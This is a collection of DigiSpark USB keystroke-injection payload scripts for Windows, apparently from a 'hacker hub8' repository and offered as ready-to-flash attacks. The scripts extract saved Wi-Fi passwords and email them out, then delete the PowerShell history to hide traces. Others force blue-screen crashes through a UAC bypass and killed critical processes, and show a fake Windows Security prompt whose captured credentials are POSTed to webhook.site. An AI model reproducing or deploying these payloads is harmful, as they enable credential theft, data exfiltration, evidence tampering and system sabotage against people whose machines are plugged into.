DigiKeyboard.sendKeyStroke(KEY_ENTER); 27 | DigiKeyboard.delay(3000); 28 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.print("cmd"); 31 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 32 | DigiKeyboard.delay(500); 33 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 34 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 35 | DigiKeyboard.delay(100); 36 | DigiKeyboard.print("COLOR EF"); 37 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 38 | DigiKeyboard.delay(100); 39 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)\"")); 40 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 41 | DigiKeyboard.delay(500); 42 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 43 | DigiKeyboard.delay(500); 44 | DigiKeyboard.print("cmd"); 45 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 46 | DigiKeyboard.delay(500); 47 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 48 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 49 | DigiKeyboard.delay(100); 50 | DigiKeyboard.print("COLOR EF"); 51 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 52 | DigiKeyboard.delay(100); 53 | DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"del (Get-PSReadlineOption).HistorySavePath\"")); 54 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 55 | DigiKeyboard.delay(500); 56 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 57 | DigiKeyboard.delay(500); 58 | DigiKeyboard.print("cmd"); 59 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 60 | DigiKeyboard.delay(500); 61 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 62 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 63 | DigiKeyboard.delay(100); 64 | DigiKeyboard.print("COLOR EF"); 65 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 66 | DigiKeyboard.delay(100); 67 | DigiKeyboard.print(F("del temp.csv")); 68 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 69 | DigiKeyboard.delay(100); 70 | DigiKeyboard.print(F("exit")); 71 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 72 | for(;;){ /*empty*/ } 73 | } 74 | -------------------------------------------------------------------------------- /payloads/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | 4 | //NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 5 | //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should 6 | //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions 7 | //of Windows or simply older builds of Windows 10, the other version works like a charm. 8 | 9 | #include "DigiKeyboard.h" 10 | void setup() { 11 | } 12 | 13 | void loop() { 14 | DigiKeyboard.sendKeyStroke(0); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_A); 19 | DigiKeyboard.delay(1000); 20 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path temp.csv;exit")); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | DigiKeyboard.delay(3000); 25 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.sendKeyStroke(KEY_A); 28 | DigiKeyboard.delay(1000); 29 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 30 | DigiKeyboard.delay(500); 31 | DigiKeyboard.print(F("$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail);exit")); 32 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.sendKeyStroke(KEY_A); 37 | DigiKeyboard.delay(1000); 38 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); 41 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboard.delay(500); 43 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 44 | DigiKeyboard.delay(500); 45 | DigiKeyboard.print("cmd"); 46 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 47 | DigiKeyboard.delay(500); 48 | DigiKeyboard.print(F("del temp.csv")); 49 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 50 | DigiKeyboard.delay(100); 51 | DigiKeyboard.print(F("exit")); 52 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 53 | for(;;){ /*empty*/ } 54 | } 55 | -------------------------------------------------------------------------------- /payloads/WiFi_Profile_Mailer/Wifi_Profile_Mailer_Update.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script writes the wireless network credentials to a csv file and emails it. 2 | //Credits to p0wc0w. 3 | 4 | //NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10 5 | //since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should 6 | //be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions 7 | //of Windows or simply older builds of Windows 10, the other version works like a charm. 8 | 9 | //Update Notes: 10 | //As this is a longer script, powershell config has changed to lessen the on screen footprint. 11 | //Debug "mode" has been added for troubleshooting user settings 12 | //User Variables section added with comments 13 | //Cred handling moved to securestring as that seems to be more reliable with many smtp providers 14 | 15 | //If you are using gmail, you MUST enable "Less Secure App Access" in your user account settings or this will fail. 16 | 17 | #include "DigiKeyboard.h" 18 | void setup() { 19 | } 20 | 21 | //uncomment to run live 22 | char mode[] = "powershell -nop -win h -noni -exec bypass"; 23 | char separator[] = "exit"; 24 | //end live 25 | 26 | //uncomment to debug 27 | // char mode[] = "powershell -nop -exec bypass"; 28 | // char separator[] = "read-host"; 29 | // end debug 30 | 31 | void loop() { 32 | DigiKeyboard.sendKeyStroke(0); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.print(mode); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;")); 41 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboard.delay(5000); 43 | 44 | // User variables start 45 | 46 | //from email address: 47 | DigiKeyboard.print(F("$email = \"YOUREMAIL@gmail.com\";")); 48 | //to email address 49 | DigiKeyboard.print(F("$addressee = \"TOEMAIL@DOMAIN.TLD\";")); 50 | //if you want to change the path of the temp csv file 51 | DigiKeyboard.print(F("$tempcsv = \"$env:userprofile\\temp.csv\";")); 52 | //'from address' email account password 53 | DigiKeyboard.print(F("$pass = \"YOUREMAIL_PASSWORD\";")); 54 | //smtp server 55 | DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";")); 56 | //smtp server port 57 | DigiKeyboard.print(F("$port = \"587\";")); 58 | 59 | // User variables end 60 | 61 | DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;")); 62 | DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;")); 63 | DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;")); 64 | DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);")); 65 | DigiKeyboard.print(F("$smtp.EnableSsl = $true;")); 66 | DigiKeyboard.print(F("$msg.From = \"$email\";")); 67 | DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");")); 68 | DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");")); 69 | DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;")); 70 | DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;")); 71 | DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;")); 72 | DigiKeyboard.print(F("$msg.Subject = \"Digi-WP-Mail Form\";")); 73 | DigiKeyboard.print(F("$msg.Body = \"

CSV Wifi Profile Info


See attached...\"; ")); 74 | DigiKeyboard.print(F("$SMTP.Credentials = $cred;")); 75 | DigiKeyboard.print(F("$smtp.Send($msg);")); 76 | DigiKeyboard.delay(500); 77 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 78 | DigiKeyboard.delay(500); 79 | DigiKeyboard.print(separator); 80 | DigiKeyboard.delay(500); 81 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 82 | DigiKeyboard.delay(500); 83 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 84 | DigiKeyboard.delay(500); 85 | DigiKeyboard.print(mode); 86 | DigiKeyboard.delay(500); 87 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 88 | DigiKeyboard.delay(500); 89 | DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;")); 90 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 91 | DigiKeyboard.delay(500); 92 | DigiKeyboard.print(F("rm \"$env:userprofile\\temp.csv\"")); 93 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 94 | DigiKeyboard.delay(100); 95 | DigiKeyboard.print(separator); 96 | DigiKeyboard.delay(500); 97 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 98 | for(;;){ /*empty*/ } 99 | } 100 | -------------------------------------------------------------------------------- /payloads/Window_Jammer/Window_Jammer.ino: -------------------------------------------------------------------------------- 1 | // A simple script to have the DigiSpark constantly spam ALT+F4 and CTRL+W key combos forcing all active windows and browsers to close 2 | 3 | #include "DigiKeyboard.h" 4 | void setup() { 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(100); 10 | DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); 11 | DigiKeyboard.delay(100); 12 | DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT); 13 | } 14 | 15 | 16 | //follow our community hacker hub8 17 | //our instagram - @hacker_hu8 18 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/Windows Crasher/BSOD/BSOD.ino: -------------------------------------------------------------------------------- 1 | //Original concept by DarkN3ss https://forums.hak5.org/topic/33268-payload-windows-bsod/ 2 | // This scripts Runs PS as admin and kills all process, so user should have admin level privileges for successful crash. 3 | //follow our community hacker hub8 4 | //our instagram - @hacker_hu8 5 | //our telegram - @hacker_hub8 6 | #include "DigiKeyboard.h" 7 | 8 | void setup() { 9 | pinMode(1, OUTPUT); //LED on Model A 10 | } 11 | 12 | void loop() { 13 | 14 | DigiKeyboard.update(); 15 | DigiKeyboard.sendKeyStroke(0); 16 | DigiKeyboard.delay(3000); 17 | 18 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 19 | DigiKeyboard.delay(100); 20 | DigiKeyboard.println("powershell Start-Process powershell -Verb runAs {get-process | stop-process -force}"); //Giving the kill command as admin 21 | DigiKeyboard.delay(2500); 22 | DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT); //Saying yes for user after some wait 23 | DigiKeyboard.delay(500); 24 | digitalWrite(1, HIGH); //turn on led when program finishes 25 | DigiKeyboard.delay(90000); 26 | digitalWrite(1, LOW); 27 | DigiKeyboard.delay(5000); 28 | 29 | } 30 | 31 | //follow our community hacker hub8 32 | //our instagram - @hacker_hu8 33 | //our telegram - @hacker_hub8 34 | -------------------------------------------------------------------------------- /payloads/Windows Crasher/Mayhem/Mayhem.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | #include "DigiKeyboard.h" 5 | #define KEY_DOWN 0x51 6 | void setup() { 7 | pinMode(1, OUTPUT); //LED on Model A 8 | } 9 | void loop() { 10 | 11 | DigiKeyboard.update(); 12 | DigiKeyboard.sendKeyStroke(0); 13 | DigiKeyboard.delay(3000); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 15 | DigiKeyboard.delay(1000); 16 | DigiKeyboard.println("msconfig -5"); //starting msconfig 17 | DigiKeyboard.delay(1000); 18 | for(int bii =0; bii < 14; bii++) 19 | { 20 | DigiKeyboard.sendKeyStroke(KEY_DOWN); 21 | } 22 | DigiKeyboard.sendKeyStroke(KEY_L, MOD_ALT_LEFT); //bypassing UAC 23 | DigiKeyboard.delay(1000); 24 | DigiKeyboard.println("powershell"); //starting powershell 25 | DigiKeyboard.delay(1000); 26 | DigiKeyboard.println(F("$F=NEW-OBJECT SYSTEM.REFLECTION.ASSEMBLYNAME('BS');$B=[APPDOMAIN]::CURRENTDOMAIN.DEFINEDYNAMICASSEMBLY($F,[REFLECTION.EMIT.ASSEMBLYBUILDERACCESS]::RUN);$C=$B.DEFINEDYNAMICMODULE('BS', $FALSE);$E=$C.DEFINETYPE('BS.WIN32.NTDLL', 'PUBLIC, CLASS');$D=$E.DEFINEPINVOKEMETHOD('NtSetInformationProcess', 'NTDLL.DLL',([REFLECTION.METHODATTRIBUTES]'PUBLIC, STATIC'),[REFLECTION.CALLINGCONVENTIONS]::STANDARD,[INT32],[TYPE[]]@([INTPTR],[UINT32],[INTPTR].MAKEBYREFTYPE(),[UINT32]),[RUNTIME.INTEROPSERVICES.CALLINGCONVENTION]::WINAPI,[RUNTIME.INTEROPSERVICES.CHARSET]::AUTO);$J=$E.CREATETYPE();$H=[DIAGNOSTICS.PROCESS]::GETCURRENTPROCESS().HANDLE;$I=[SYSTEM.RUNTIME.INTEROPSERVICES.MARSHAL]::ALLOCHGLOBAL(4);$A=29;$G=4;$NULL=$J::NtSetInformationProcess($H, $A,[REF]$I, $G);")); //adding mayhem 27 | DigiKeyboard.println("exit"); //killing the critical process and BSOD 28 | } 29 | //follow our community hacker hub8 30 | //our instagram - @hacker_hu8 31 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/Windows Crasher/UACBypassBSOD/UACBypassBSOD.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | #include "DigiKeyboard.h" 5 | #define KEY_DOWN 0x51 6 | void setup() { 7 | pinMode(1, OUTPUT); //LED on Model A 8 | } 9 | 10 | void loop() { 11 | 12 | DigiKeyboard.update(); 13 | DigiKeyboard.sendKeyStroke(0); 14 | DigiKeyboard.delay(3000); 15 | 16 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 17 | DigiKeyboard.delay(100); 18 | DigiKeyboard.println("msconfig -5"); //starting msconfig 19 | DigiKeyboard.delay(500); 20 | for(int i =0; i < 14; i++) 21 | { 22 | DigiKeyboard.sendKeyStroke(KEY_DOWN); 23 | } 24 | DigiKeyboard.sendKeyStroke(KEY_L, MOD_ALT_LEFT); //Launch CMD 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.println("taskkill /F /IM wininit.exe"); //sending the kill code 27 | digitalWrite(1, HIGH); //turn on led when program finishes 28 | DigiKeyboard.delay(90000); 29 | digitalWrite(1, LOW); 30 | DigiKeyboard.delay(5000); 31 | 32 | } 33 | //follow our community hacker hub8 34 | //our instagram - @hacker_hu8 35 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/Windows Phisher/Windows_Phisher/Windows_Phisher.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | pinMode(1, OUTPUT); //LED on Model A 7 | } 8 | void loop() { 9 | DigiKeyboard.update(); 10 | DigiKeyboard.sendKeyStroke(0); 11 | DigiKeyboard.delay(3000); 12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 13 | DigiKeyboard.delay(100); 14 | DigiKeyboard.println("powershell -noexit -command \"mode con cols=18 lines=1\""); //smallest window possible 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.println(F("PowerShell.exe -windowstyle hidden {Start-Sleep -s 60;Add-Type -assemblyname system.DirectoryServices.accountmanagement;$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);$domainDN = \"LDAP://\" + ([ADSI]"").distinguishedName;while($true){$credential = $host.ui.PromptForCredential(\"Windows Security\", \"Enter your credentials\", \"\", \"\");if($credential){$creds = $credential.GetNetworkCredential();[String]$user = $creds.username;[String]$pass = $creds.password;[String]$domain = $creds.domain;$authlocal = $DS.ValidateCredentials($user, $pass);$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass);if(($authlocal -eq $true) -or ($authdomain.name -ne $null)){$script:pastevalue = \"Username: \" + $user + \" Password: \" + $pass + \" Domain:\" + $domain + \" Domain:\"+ $authdomain.name;break}}};Invoke-WebRequest -Uri https://webhook.site/ -Method POST -Body $pastevalue}")); //payload 17 | DigiKeyboard.delay(200); 18 | digitalWrite(1, HIGH); //turn on led when program finishes 19 | DigiKeyboard.delay(90000); 20 | digitalWrite(1, LOW); 21 | DigiKeyboard.delay(5000); 22 | } 23 | //follow our community hacker hub8 24 | //our instagram - @hacker_hu8 25 | //our telegram - @hacker_hub8 -------------------------------------------------------------------------------- /payloads/Windows Phisher/Zeymare_Windows_Phisher/Zeymare_Windows_Phisher.ino: -------------------------------------------------------------------------------- 1 | //follow our community hacker hub8 2 | //our instagram - @hacker_hu8 3 | //our telegram - @hacker_hub8 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | pinMode(1, OUTPUT); //LED on Model A 7 | } 8 | void loop() { 9 | DigiKeyboard.update(); 10 | DigiKeyboard.sendKeyStroke(0); 11 | DigiKeyboard.delay(3000); 12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run 13 | DigiKeyboard.delay(100); 14 | DigiKeyboard.println("powershell -noexit -command \"mode con cols=18 lines=1\""); //smallest window possible 15 | DigiKeyboard.delay(1000); 16 | DigiKeyboard.println(F("PowerShell.exe -windowstyle hidden {Start-Sleep -s 60;Add-Type -assemblyname system.DirectoryServices.accountmanagement;$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine);$domainDN = \"LDAP://\" + ([ADSI]"").distinguishedName;while($true){$credential = $host.ui.PromptForCredential(\"Windows Security\", \"Enter your credentials\", \"\", \"\");if($credential){$creds = $credential.GetNetworkCredential();[String]$user = $creds.username;[String]$pass = $creds.password;[String]$domain = $creds.domain;$script:pastevalue = \"Username: \" + $user + \" Password: \" + $pass + \" Domain:\" + $domain + \" Domain:\"+ $authdomain.name;out-file -InputObject $pastevalue -FilePath \"$env:temp\\rake\" -Append;$authlocal = $DS.ValidateCredentials($user, $pass);$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass);if(($authlocal -eq $true) -or ($authdomain.name -ne $null)){$script:pastevalue = \"Username: \" + $user + \" Password: \" + $pass + \" Domain:\" + $domain + \" Domain:\"+ $authdomain.name;break}}};Invoke-WebRequest -Uri https://webhook.site/ -Method POST -ContentType 'text/plain' -InFile \"$env:temp\\rake\";Remove-Item -Path \"$env:temp\\rake\"}")); //payload 17 | DigiKeyboard.delay(200); 18 | digitalWrite(1, HIGH); //turn on led when program finishes 19 | DigiKeyboard.delay(90000); 20 | digitalWrite(1, LOW); 21 | DigiKeyboard.delay(5000); 22 | } 23 | //follow our community hacker hub8 24 | //our instagram - @hacker_hu8 25 | //our telegram - @hacker_hub8 --------------------------------------------------------------------------------